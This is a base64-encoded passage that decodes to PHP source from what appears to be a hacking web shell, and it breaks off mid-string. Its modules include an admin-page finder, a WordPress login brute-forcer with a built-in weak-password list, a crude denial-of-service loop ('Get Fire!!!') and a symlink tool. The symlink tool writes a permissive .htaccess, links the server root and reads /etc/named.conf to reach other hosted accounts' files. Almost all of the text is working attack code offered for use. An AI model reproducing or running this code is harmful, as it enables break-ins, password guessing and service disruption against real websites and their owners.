bi5hc3ANCnNpdGVhZG1pbi9pbmRleC5hc3ANCkFETUlOLw0KcGFuZWxkZWNvbnRyb2wvDQpsb2dpbi8NCmNtcy8NCmFkbW9uLw0KQURNT04vDQphZG1pbmlzdHJhZG9yLw0KQURNSU4vbG9naW4ucGhwDQpwYW5lbGMvDQpBRE1JTi9sb2dpbi5odG1sIjsNCmZ1bmN0aW9uIHRlbXBsYXRlKCkgew0KZWNobyAnDQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGluc2VydGNvZGUoJHRleHQsICRwbGFjZSwgJHJlcGxhY2UpDQp7DQogICAgdmFyICR0aGlzID0gJHRleHQ7DQogICAgdmFyIGxvZ2JveCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCRwbGFjZSk7DQogICAgaWYoJHJlcGxhY2UgPT0gMCkNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJHBsYWNlKS5pbm5lckhUTUwgPSBsb2dib3guaW5uZXJIVE1MKyR0aGlzOw0KICAgIGVsc2UNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJHBsYWNlKS5pbm5lckhUTUwgPSAkdGhpczsNCi8vZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlbHBib3giKS5pbm5lckhUTUwgPSAkdGhpczsNCn0NCi0tPg0KPC9zY3JpcHQ+DQo8YnI+DQo8YnI+DQo8aDEgY2xhc3M9InRlY2huaXF1ZS10d28iPg0KICAgICAgIA0KDQoNCjwvaDE+DQoNCjxkaXYgY2xhc3M9IndyYXBwZXIiPg0KPGRpdiBjbGFzcz0icmVkIj4NCjxkaXYgY2xhc3M9InR1YmUiPg0KPGNlbnRlcj48dGFibGUgY2xhc3M9InRhYm5ldCI+PHRoIGNvbHNwYW49IjIiPkFkbWluIEZpbmRlcjwvdGg+PHRyPjx0ZD4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG5hbWU9InhwbG9pdF9mb3JtIj4NCg0KPHRyPg0KPHRyPg0KCTxiPjx0ZD5VUkw8L3RkPg0KCTx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ieHBsb2l0X3VybCIgdmFsdWU9IicuJF9QT1NUWyd4cGxvaXRfdXJsJ10uJyIgc3R5bGU9IndpZHRoOiAzNTBweDsiIC8+DQoJPC90ZD4NCjwvdHI+PHRyPg0KCTx0ZD40MDQgc3RyaW5nPC90ZD4NCgk8dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InhwbG9pdF80MDRzdHJpbmciIHZhbHVlPSInLiRfUE9TVFsneHBsb2l0XzQwNHN0cmluZyddLiciIHN0eWxlPSJ3aWR0aDogMzUwcHg7IiAvPg0KCTwvdGQ+PC9iPg0KPC90cj48YnI+PHRkPg0KPHNwYW4gc3R5bGU9ImZsb2F0OiBjZW50ZXI7Ij48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ4cGxvaXRfc3VibWl0IiB2YWx1ZT0iIFN0YXJ0IFNjYW4iIGFsaWduPSJjZW50ZXIiIC8+DQo8L3NwYW4+PC90ZD48L3RyPg0KPC9mb3JtPjwvdGQ+PC90cj4NCjxiciAvPjwvdGFibGU+DQo8L2Rpdj4gPCEtLSAvdHViZSAtLT4NCjwvZGl2PiA8IS0tIC9yZWQgLS0+DQo8YnIgLz4NCjxkaXYgY2xhc3M9ImdyZWVuIj4NCjxkaXYgY2xhc3M9InR1YmUiIGlkPSJyaWdodGNvbCI+DQpWZXJpZmljYXQ6IDxzcGFuIGlkPSJ2ZXJpZmllZCI+MDwvc3Bhbj4gLyA8c3BhbiBpZD0idG90YWwiPjA8L3NwYW4+PGJyIC8+DQo8Yj5Gb3VuZCBvbmVzOjxiciAvPjwvYj4NCjwvZGl2PiA8IS0tIC90dWJlIC0tPg0KPC9kaXY+PC9jZW50ZXI+PCEtLSAvZ3JlZW4gLS0+DQo8YnIgY2xlYXI9ImFsbCIgLz48YnIgLz4NCjxkaXYgY2xhc3M9ImJsdWUiPg0KPGRpdiBjbGFzcz0idHViZSIgaWQ9ImxvZ2JveCI+DQo8YnIgLz4NCjxiciAvPg0KQWRtaW4gcGFnZSBGaW5kZXIgOjxiciAvPjxiciAvPg0KPC9kaXY+IDwhLS0gL3R1YmUgLS0+DQo8L2Rpdj4gPCEtLSAvYmx1ZSAtLT4NCjwvZGl2PiA8IS0tIC93cmFwcGVyIC0tPg0KPGJyIGNsZWFyPSJhbGwiPjxicj4nOw0KfQ0KZnVuY3Rpb24gc2hvdygkbXNnLCAkYnI9MSwgJHN0b3A9MCwgJHBsYWNlPSdsb2dib3gnLCAkcmVwbGFjZT0wKSB7DQogICAgaWYoJGJyID09IDEpICRtc2cgLj0gIjxiciAvPiI7DQogICAgZWNobyAiPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+aW5zZXJ0Y29kZSgnIi4kbXNnLiInLCAnIi4kcGxhY2UuIicsICciLiRyZXBsYWNlLiInKTs8L3NjcmlwdD4iOw0KICAgIGlmKCRzdG9wID09IDEpIGV4aXQ7DQogICAgQGZsdXNoKCk7QG9iX2ZsdXNoKCk7DQp9DQpmdW5jdGlvbiBjaGVjaygkeCwgJGZyb250PTApIHsNCiAgICBnbG9iYWwgJF9QT1NULCRzaXRlLCRmYWxzZTsNCiAgICBpZigkZnJvbnQgPT0gMCkgJHQgPSAkc2l0ZS4keDsNCiAgICBlbHNlICR0ID0gJ2h0dHA6Ly8nLiR4LicuJy4kc2l0ZS4nLyc7DQogICAgJGhlYWRlcnMgPSBnZXRfaGVhZGVycygkdCk7DQogICAgaWYgKCFlcmVnaSgnMjAwJywgJGhlYWRlcnNbMF0pKSByZXR1cm4gMDsNCiAgICAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdCk7DQogICAgaWYoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gPT0gIiIpIGlmKCRkYXRhID09ICRmYWxzZSkgcmV0dXJuIDA7DQogICAgaWYoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gIT0gIiIpIGlmKHN0cnBvcygkZGF0YSwgJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10pKSByZXR1cm4gMDsNCiAgICByZXR1cm4gMTsNCn0NCiAgIA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnRlbXBsYXRlKCk7DQppZighaXNzZXQoJF9QT1NUWyd4cGxvaXRfdXJsJ10pKSBkaWU7DQppZigkX1BPU1RbJ3hwbG9pdF91cmwnXSA9PSAnJykgZGllOw0KJHNpdGUgPSAkX1BPU1RbJ3hwbG9pdF91cmwnXTsNCmlmICgkc2l0ZVtzdHJsZW4oJHNpdGUpLTFdICE9ICIvIikgJHNpdGUgLj0gIi8iOw0KaWYoJF9QT1NUWyd4cGxvaXRfNDA0c3RyaW5nJ10gPT0gIiIpICRmYWxzZSA9IEBmaWxlX2dldF9jb250ZW50cygkc2l0ZS4iZDY1ODk3ZjUzODBhMjFhNDJkYjk0YjM5MjdiODIzZDU2ZWUxMDk5YS10aGlzX2Nhbi10X2V4aXN0Lmh0bWwiKTsNCiRsaXN0WydlbmQnXSA9IHN0cl9yZXBsYWNlKCJcciIsICIiLCAkbGlzdFsnZW5kJ10pOw0KJGxpc3RbJ2Zyb250J10gPSBzdHJfcmVwbGFjZSgiXHIiLCAiIiwgJGxpc3RbJ2Zyb250J10pOw0KJHBhdGhlcyA9IGV4cGxvZGUoIlxuIiwgJGxpc3RbJ2VuZCddKTsNCiRmcm9udHBhdGhlcyA9IGV4cGxvZGUoIlxuIiwgJGxpc3RbJ2Zyb250J10pOw0Kc2hvdyhjb3VudCgkcGF0aGVzKStjb3VudCgkZnJvbnRwYXRoZXMpLCAxLCAwLCAndG90YWwnLCAxKTsNCiR2ZXJpZmljYXRlID0gMDsNCmZvcmVhY2goJHBhdGhlcyBhcyAkcGF0aCkgew0KICAgIHNob3coJ0NoZWNraW5nICcuJHNpdGUuJHBhdGguJyA6ICcsIDAsIDAsICdsb2dib3gnLCAwKTsNCiAgICAkdmVyaWZpY2F0ZSsrOyBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsNCiAgICBpZihjaGVjaygkcGF0aCkgPT0gMCkgc2hvdygnbm90IGZvdW5kJywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgIGVsc2V7DQogICAgICAgIHNob3coJzxzcGFuIHN0eWxlPSJjb2xvcjogIzAwRkYwMDsiPjxzdHJvbmc+Zm91bmQ8L3N0cm9uZz48L3NwYW4+JywgMSwgMCwgJ2xvZ2JveCcsIDApOw0KICAgICAgICBzaG93KCc8YSBocmVmPSInLiRzaXRlLiRwYXRoLiciPicuJHNpdGUuJHBhdGguJzwvYT4nLCAxLCAwLCAncmlnaHRjb2wnLCAwKTsNCiAgICB9DQp9DQpwcmVnX21hdGNoKCIvXC9cLyguKj8pXC8vaSIsICRzaXRlLCAkeHgpOyAkc2l0ZSA9ICR4eFsxXTsNCmlmKHN1YnN0cigkc2l0ZSwgMCwgMykgPT0gInd3dyIpICRzaXRlID0gc3Vic3RyKCRzaXRlLCA0KTsNCmZvcmVhY2goJGZyb250cGF0aGVzIGFzICRmcm9udHBhdGgpIHsNCiAgICBzaG93KCdDaGVja2luZyBodHRwOi8vJy4kZnJvbnRwYXRoLicuJy4kc2l0ZS4nLyA6ICcsIDAsIDAsICdsb2dib3gnLCAwKTsNCiAgICAkdmVyaWZpY2F0ZSsrOyBzaG93KCR2ZXJpZmljYXRlLCAwLCAwLCAndmVyaWZpZWQnLCAxKTsNCiAgICBpZihjaGVjaygkZnJvbnRwYXRoLCAxKSA9PSAwKSBzaG93KCdub3QgZm91bmQnLCAxLCAwLCAnbG9nYm94JywgMCk7DQogICAgZWxzZXsNCiAgICAgICAgc2hvdygnPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDBGRjAwOyI+PHN0cm9uZz5mb3VuZDwvc3Ryb25nPjwvc3Bhbj4nLCAxLCAwLCAnbG9nYm94JywgMCk7DQogICAgICAgIHNob3coJzxhIGhyZWY9Imh0dHA6Ly8nLiRmcm9udHBhdGguJy4nLiRzaXRlLicvIj4nLiRmcm9udHBhdGguJy4nLiRzaXRlLic8L2E+JywgMSwgMCwgJ3JpZ2h0Y29sJywgMCk7DQogICAgfQ0KICAgDQp9DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd3cGJydXRlJykpDQp7CQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD13cGJydXRlIiBtZXRob2Q9InBvc3QiPg0KPGNlbnRlcj4NCjxicj48QnI+PGI+PGZvbnQgc2l6ZT0nMicgPistLT1bIFdvcmRwcmVzcyBCcnV0ZSBGb3JjZSBdPS0tKzwvZm9udD48YnI+DQo8Y2VudGVyPjxwPlRhbmtzIFRvIDxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9hbnRvbjExNSIgdGFyZ2V0PSJfYmxhbmsiPkNhaF9iYWd1czwvYT48L3A+PC9iPjwvY2VudGVyPg0KPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NCiAgPHRhYmxlIHdpZHRoPSc2MjQnIGJvcmRlcj0nMCcgY2xhc3M9J3RhYm5ldCcgaWQ9J0JveCc+DQogIDx0cj48dGggY29sc3Bhbj0iNSI+V29yZHByZXNzIEJydXRlIEZvcmNlPC90aD48L3RyPg0KICAgIA0KDQogICAgPHRyPg0KICAgICAgPHRkID4mbmJzcDs8L3RkPg0KICAgICAgPHRkID48cD5Ib3N0czo8L3A+PC90ZD4NCiAgICAgIDx0ZCA+PHA+IFVzZXJzOjwvcD48L3RkPg0KICAgICAgPHRkID48cD5QYXNzd29yZHM6PC9wPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICA8dGQ+Jm5ic3A7PC90ZD4NCiAgICAgIDx0ZCA+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgbmFtZT0iaG9zdHMiIGNvbHM9IjMwIiByb3dzPSIxMCIgPjw/cGhwIGlmKCRfUE9TVCl7ZWNobyAkX1BPU1RbJ2hvc3RzJ107fSA/PjwvdGV4dGFyZWE+PC90ZD4NCiAgICAgIDx0ZCA+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgbmFtZT0idXNlcm5hbWVzIiBjb2xzPSIzMCIgcm93cz0iMTAiICA+PD9waHAgaWYoJF9QT1NUKXtlY2hvICRfUE9TVFsndXNlcm5hbWVzJ107fWVsc2Uge2VjaG8gImFkbWluIjt9ID8+PC90ZXh0YXJlYT48L3RkPg0KICAgICAgPHRkID48dGV4dGFyZWEgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7IiBuYW1lPSJwYXNzd29yZHMiIGNvbHM9IjMwIiByb3dzPSIxMCIgID48P3BocCBpZigkX1BPU1Qpe2VjaG8gJF9QT1NUWydwYXNzd29yZHMnXTt9ZWxzZSB7ZWNobyAiYWRtaW5cbmFkbWluaXN0cmF0b3JcbjEyMzEyM1xuMTIzMzIxXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjEyMzQ1NjEyMzQ1NlxuYWRtaW4yMDEwXG5hZG1pbjIwMTFcbnBhc3N3b3JkXG5QQHNzVzByZFxuIUAjJCVeXG4hQCMkJV4mKihcbigqJl4lJCNAIVxuMTExMTExXG4yMjIyMjJcbjMzMzMzM1xuNDQ0NDQ0XG41NTU1NTVcbjY2NjY2NlxuNzc3Nzc3XG44ODg4ODhcbjk5OTk5OSI7fSA/PjwvdGV4dGFyZWE+PC90ZD4NCiAgICA8L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPSI0Ij48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBOb3ciICAvPg0KPD9waHANCmlmKCRfUE9TVCkNCnsNCgkkaG9zdHMgPSB0cmltKGZpbHRlcigkX1BPU1RbJ2hvc3RzJ10pKTsNCgkkcGFzc3dvcmRzID0gdHJpbShmaWx0ZXIoJF9QT1NUWydwYXNzd29yZHMnXSkpOw0KCSR1c2VybmFtZXMgPSB0cmltKGZpbHRlcigkX1BPU1RbJ3VzZXJuYW1lcyddKSk7DQoNCglpZigkcGFzc3dvcmRzICYmICR1c2VybmFtZXMgJiYgJGhvc3RzKQ0KCXsNCgkJJGhvc3RzX2V4cGxvZGUgPSBleHBsb2RlKCJcbiIsICRob3N0cyk7DQoJCSR1c2VybmFtZXNfZXhwbG9kZSA9IGV4cGxvZGUoIlxuIiwgJHVzZXJuYW1lcyk7DQogICAgCSRwYXNzd29yZHNfZXhwbG9kZSA9IGV4cGxvZGUoIlxuIiwgJHBhc3N3b3Jkcyk7DQoNCgkJZm9yZWFjaCgkaG9zdHNfZXhwbG9kZSBhcyAkaG9zdCkNCgkJew0KCQkJJGhvc3QgPSBSZW1vdmVMYXN0U2xhc2goJGhvc3QpOw0KCQkJJGhhY2tlZCA9IDA7DQoJCQkkaG9zdCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwOi8vIiwiaHR0cHM6Ly8iLCJ3d3cuIiksIiIsdHJpbSgkaG9zdCkpOw0KCQkJJGhvc3QgPSAiaHR0cDovLyIuJGhvc3Q7DQoJCQkkd3BBZG1pbiA9ICRob3N0Licvd3AtYWRtaW4vJzsNCg0KCQkJaWYoIXVybF9leGlzdHMoJGhvc3QuIi93cC1sb2dpbi5waHAiKSkNCgkJCXtlY2hvICI8cD4iLiRob3N0LiIgPT4gPGZvbnQgY29sb3I9J3JlZCc+RXJyb3IgSW4gTG9naW4gUGFnZSAhPC9mb250PjwvcD4iO29iX2ZsdXNoKCk7Zmx1c2goKTtjb250aW51ZTt9DQoNCgkJCWZvcmVhY2goJHVzZXJuYW1lc19leHBsb2RlIGFzICR1c2VybmFtZSkNCgkJCXsNCgkJCQlmb3JlYWNoKCRwYXNzd29yZHNfZXhwbG9kZSBhcyAkcGFzc3dvcmQpDQoJCQkJew0KCQkJCQkkY2ggICA9ICAgICBjdXJsX2luaXQoKTsNCgkJCQkJY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQoJCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwkaG9zdC4nL3dwLWxvZ2luLnBocCcpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9DT09LSUVKQVIsImNva2kudHh0Iik7DQoJCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0NPT0tJRUZJTEUsImNva2kudHh0Iik7DQoJCQkJCWN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NULFRSVUUpOw0KCQkJCQljdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9Ii4kdXNlcm5hbWUuIiZwd2Q9Ii4kcGFzc3dvcmQuIiZ3cC1zdWJtaXQ9R2lyaSYjODIwNzsiLiImcmVkaXJlY3RfdG89Ii4kd3BBZG1pbi4iJnRlc3Rjb29raWU9MSIpOw0KCQkJCQkkbG9naW4gICAgPQkgICBjdXJsX2V4ZWMoJGNoKTsNCg0KCQkJCQlpZihlcmVnaSAoInByb2ZpbGUucGhwIiwkbG9naW4pICkNCgkJCQkJew0KCQkJCQkJJGhhY2tlZCA9IDE7DQoJCQkJCQllY2hvICI8cD4iLiRob3N0LiIgPT4gVXNlck5hbWUgOiBbPGZvbnQgY29sb3I9J2dyZWVuJz4iLiR1c2VybmFtZS4iPC9mb250Pl0gOiBQYXNzd29yZCA6IFs8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHBhc3N3b3JkLiI8L2ZvbnQ+XTwvcD4iOw0KCQkJCQkJb2JfZmx1c2goKTtmbHVzaCgpO2JyZWFrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWlmKCRoYWNrZWQgPT0gMSl7YnJlYWs7fQ0KCQkJfQ0KCQkJaWYoJGhhY2tlZCA9PSAwKQ0KCQkJe2VjaG8gIjxwPiIuJGhvc3QuIiA9PiA8Zm9udCBjb2xvcj0ncmVkJz5GYWlsZWQgITwvZm9udD48L3A+IjtvYl9mbHVzaCgpO2ZsdXNoKCk7fQ0KCQl9DQoJfQ0KCWVsc2Uge2VjaG8gIjxwPjxmb250IGNvbG9yPSdyZWQnPkFsbCBmaWVsZHMgYXJlIFJlcXVpcmVkICEgPC9mb250PjwvcD4iO30NCn0NCj8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT48L2NlbnRlcj4NCjw/cGhwDQpmdW5jdGlvbiB1cmxfZXhpc3RzKCRzdHJVUkwpDQp7DQogICAgJHJlc1VSTCA9IGN1cmxfaW5pdCgpOw0KICAgIGN1cmxfc2V0b3B0KCRyZXNVUkwsIENVUkxPUFRfVVJMLCAkc3RyVVJMKTsNCiAgICBjdXJsX3NldG9wdCgkcmVzVVJMLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkcmVzVVJMLCBDVVJMT1BUX0hFQURFUkZVTkNUSU9OLCAnY3VybEhlYWRlckNhbGxiYWNrJyk7DQogICAgY3VybF9zZXRvcHQoJHJlc1VSTCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7DQogICAgY3VybF9leGVjICgkcmVzVVJMKTsNCiAgICAkaW50UmV0dXJuQ29kZSA9IGN1cmxfZ2V0aW5mbygkcmVzVVJMLCBDVVJMSU5GT19IVFRQX0NPREUpOw0KICAgIGN1cmxfY2xvc2UgKCRyZXNVUkwpOw0KICAgIGlmICgkaW50UmV0dXJuQ29kZSAhPSAyMDApe3JldHVybiBmYWxzZTt9DQoJZWxzZXtyZXR1cm4gdHJ1ZSA7fQ0KfQ0KZnVuY3Rpb24gZmlsdGVyKCRzdHJpbmcpDQp7DQoJaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSAhPSAwKXtyZXR1cm4gc3RyaXBzbGFzaGVzKCRzdHJpbmcpOwl9DQoJZWxzZXtyZXR1cm4gJHN0cmluZzsJfQ0KfQ0KZnVuY3Rpb24gUmVtb3ZlTGFzdFNsYXNoKCRob3N0KQ0Kew0KCWlmKHN0cnJwb3MoJGhvc3QsICcvJywgLTEpID09IHN0cmxlbigkaG9zdCktMSkNCgl7cmV0dXJuIHN1YnN0cigkaG9zdCwwLHN0cnJwb3MoJGhvc3QsICcvJywgLTEpKTt9DQoJZWxzZXtyZXR1cm4gJGhvc3Q7fQ0KfQ0KZWNobyAiPC9wPiI7DQp9DQoNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2RvcycpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9ZG9zIiBtZXRob2Q9InBvc3QiPg0KDQo8P3BocA0KDQplY2hvICRoZWFkLiRmb3JtZy4kbm93YWRkcmVzcy4nPGJyPjxicj48YnI+PHRpdGxlPi09WyBEZG9zIHRvb2wgXT0tPC90aXRsZT48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiA+PGI+PHAgYWxpZ249ImNlbnRlciI+QWRkcmVzcyA6IDxpbnB1dCBjbGFzcz1pbnB1dHogbmFtZT11cmxkZDAgc2l6ZT01MD4gVGltZSA6IDxpbnB1dCBjbGFzcz1pbnB1dHogbmFtZT10aW1lZGQwIHNpemU9NiB2YWx1ZT00MDAwMD48L2I+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0InR5cGU9c3VibWl0IHZhbHVlPSIgIEdldCBGaXJlISEhICAiPjwvZm9ybT48L3A+PC90YWJsZT4nLiRlbmQ7ZXhpdDsNCg0KDQppZigkX0dFVFsndXJsZGQwJ10gJiYgJF9HRVRbJ3RpbWVkZDAnXSl7DQpmb3IgKCRpZD0wOyQkaWQ8JF9HRVRbJ3RpbWVkZDAnXTskaWQrKyl7DQokZnA9bnVsbDsNCiRjb250ZW50cz1udWxsOw0KJGZwPWZvcGVuKCRfR0VUWyd1cmxkZDAnXSwicmIiKTsNCndoaWxlICghZmVvZigkZnApKSB7DQogICRjb250ZW50cyAuPSBmcmVhZCgkZnAsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcCk7DQp9fQ0KfQ0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3N5bWxpbmsnKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXN5bWxpbmsiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwICAgDQoNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT4rLS09WyBTeW1saW5rIF09LS0rPC9oMT48L2NlbnRlcj48YnI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz1jb250ZW50PiI7DQoNCkBta2Rpcignc3ltJywwNzc3KTsNCiRodGFjY2VzcyAgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KJHdyaXRlID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KZndyaXRlKCR3cml0ZSAsJGh0YWNjZXNzKTsNCkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiRmaWxlbG9jYXRpb24gPSBiYXNlbmFtZShfX0ZJTEVfXyk7DQokcmVhZF9uYW1lZF9jb25mID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KaWYoISRyZWFkX25hbWVkX2NvbmYpDQp7DQplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsgDQp9DQplbHNlDQp7DQplY2hvICI8YnI+PGJyPjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGJvcmRlcj0nMScgYm9yZGVyY29sb3I9JyMwMGZmMDAnIHdpZHRoPSc1MDAnIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCc+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyczwvdGQ+PHRkPnN5bWxpbmsgPC90ZD4iOw0KZm9yZWFjaCgkcmVhZF9uYW1lZF9jb25mIGFzICRzdWJqZWN0KXsNCmlmKGVyZWdpKCd6b25lJywkc3ViamVjdCkpew0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRzdWJqZWN0LCRzdHJpbmcpOw0KZmx1c2goKTsNCmlmKHN0cmxlbih0cmltKCRzdHJpbmdbMV1bMF0pKSA+Mil7DQokVUlEID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRzdHJpbmdbMV1bMF0pKTsNCiRuYW1lID0gJFVJRFsnbmFtZSddIDsNCkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiRuYW1lICAgPSAkc3RyaW5nWzFdWzBdOw0KJGlyYW4gICA9ICdcLmlyJzsNCiRpc3JhZWwgPSAnXC5pbCc7DQokaW5kbyAgID0gJ1wuaWQnOw0KJHNnMTIgICA9ICdcLnNnJzsNCiRlZHUgICAgPSAnXC5lZHUnOw0KJGdvdiAgICA9ICdcLmdvdic7DQokZ29zZSAgID0gJ1wuZ28nOw0KJGdvYmVyICA9ICdcLmdvYic7DQokbWlsMSAgID0gJ1wubWlsJzsNCiRtaWwyICAgPSAnXC5taSc7DQokbWFsYXkJPSAnXC5teSc7DQokY2hpbmEJPSAnXC5jbic7DQokamFwYW4JPSAnXC5qcCc7DQokYXVzdHIJPSAnXC5hdSc7DQokcG9ybgk9ICdcLnh4eCc7DQokYXMJCT0gJ1wudWsnOw0KJGNhbGZuCT0gJ1wuY2EnOw0KDQppZiAoZXJlZ2koIiRpcmFuIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGlzcmFlbCIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRpbmRvIiwkc3RyaW5nWzFdWzBdKW9yIGVyZWdpKCIkc2cxMiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkZWR1Iiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRnb3YiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSAoIiRnb3NlIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGdvYmVyIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJG1pbDEiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJG1pbDIiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSAoIiRtYWxheSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRjaGluYSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRqYXBhbiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkYXVzdHIiLCRzdHJpbmdbMV1bMF0pDQpvciBlcmVnaSgiJHBvcm4iLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkYXMiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGNhbGZuIiwkc3RyaW5nWzFdWzBdKSkNCnsNCiRuYW1lID0gIjxkaXYgc3R5bGU9JyBjb2xvcj